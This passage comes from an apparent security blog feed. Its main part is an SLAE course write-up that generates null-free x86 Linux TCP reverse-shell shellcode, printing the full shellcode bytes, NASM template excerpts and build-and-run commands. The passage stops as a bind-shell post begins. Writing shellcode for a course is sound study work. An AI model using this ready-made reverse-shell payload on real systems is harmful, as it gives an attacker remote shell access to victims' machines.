&lt;span class=&quot;s1&quot;&gt;&apos;\t&apos;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s/ $//g&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s/ /\\x/g&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;paste&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;d &lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;s &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s/^/&quot;/&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s/$/&quot;/g&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Trying with a port (2048 = 0x0800) and IP (127.0.0.1) which are generating some null bytes provides the following:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./wrapper.sh 127.0.0.1 2048 ./shell_reverse_tcp.template 
&lt;span class=&quot;nt&quot;&gt;----------------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; HEXFMTPORT:0800
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; HEXFMTPORT1:0x08
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; HEXFMTPORT2:dl
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; HEXFMTIP1:0x7f
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; HEXFMTIP2:dl
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; HEXFMTIP3:dl
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; HEXFMTIP4:0x1
&lt;span class=&quot;nt&quot;&gt;----------------------------&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Assembling with Nasm ... 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Linking ...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Done!
&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c6&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;7f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;88&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;54&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;88&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;54&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c6&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;44&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c6&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;88&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;54&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;53&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;57&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;fb&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;3f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;79&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;73&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;62&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;69&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6e&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c2&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0b&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here is the interesting part in our template:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;...&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;IP1&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; useful to avoid null bytes with parametrized IP&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;IP2&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; If 00 will be replaced by dl&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;IP3&lt;/span&gt;     
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;IP4&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dx&lt;/span&gt;                  &lt;span class=&quot;c1&quot;&gt;; useful to avoid null bytes with parametrized port&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PORT1&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; mysockaddr.sin_port = htons(dstport); //8080&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PORT2&lt;/span&gt; 
&lt;span class=&quot;nf&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And have a look at the result shell_reverse_tcp.nasm file:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;...&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7f&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; useful to avoid null bytes with parametrized IP&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dl&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; If 00 will be replaced by dl&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dl&lt;/span&gt;     
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dx&lt;/span&gt;                  &lt;span class=&quot;c1&quot;&gt;; useful to avoid null bytes with parametrized port&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x08&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; mysockaddr.sin_port = htons(dstport); //8080&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dl&lt;/span&gt; 
&lt;span class=&quot;nf&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We are pushing the &lt;em&gt;dl&lt;/em&gt; byte register in replacement of a null byte.&lt;/p&gt;

&lt;p&gt;So now let’s confirm that the generated nasm source file leads to a working shellcode once compiled thanks to &lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment2/shellcode.c&quot;&gt;shellcode.c&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c &amp;amp;&amp;amp; ./shellcode &lt;/span&gt;
Shellcode Length: 106

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And here we are:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/slae/assignment2/image2.png&quot; alt=&quot;image2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So now we can parametrize the port number, the IP address, and you can generate a TCP reverse shellcode without any null bytes.&lt;/p&gt;

&lt;p&gt;Hope you enjoyed,&lt;br /&gt;
Don’t hesitate to comment and share.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/phackt_ul&quot;&gt;Phackt&lt;/a&gt;&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>SLAE Assignment 1 - TCP Bind Shellcode</title>
   <link href="https://phackt.org/slae-tcp-bind-shell"/>
   <updated>2017-04-13T00:00:00+00:00</updated>
   <id>https://phackt.org/slae-tcp-bind-shell</id>
   <content type="html">&lt;p&gt;Student &lt;strong&gt;SLAE - 891&lt;/strong&gt;&lt;br /&gt;
Github: &lt;a href=&quot;https://github.com/phackt/slae&quot;&gt;https://github.com/phackt/slae&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hello everybody,&lt;/p&gt;

&lt;p&gt;Here we are for a new set of posts dealing with the exam of the great course &lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot;&gt;Assembly Language and Shellcoding on Linux&lt;/a&gt;. Thanks to Vivek Ramachandran and his team for all of this work.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;For information, the SLAE course has been performed on a 32bits Kali environment:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# uname -a&lt;/span&gt;
Linux kali 4.6.0-kali1-686 &lt;span class=&quot;c&quot;&gt;#1 SMP Debian 4.6.4-1kali1 (2016-07-21) i686 GNU/Linux&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We recommend to run the commands on a 32bits environment. Otherwise you should adapt them:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nasm &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; elf32 &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt;.o &lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt;.nasm
ld &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; elf_i386 &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt;.o
gcc &lt;span class=&quot;nt&quot;&gt;-fno-stack-protector&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-z&lt;/span&gt; execstack &lt;span class=&quot;nt&quot;&gt;-m32&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; shellcode shellcode.c
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So let’s rumble!&lt;/p&gt;

&lt;h3 id=&quot;assignment-1&quot;&gt;Assignment 1:&lt;/h3&gt;

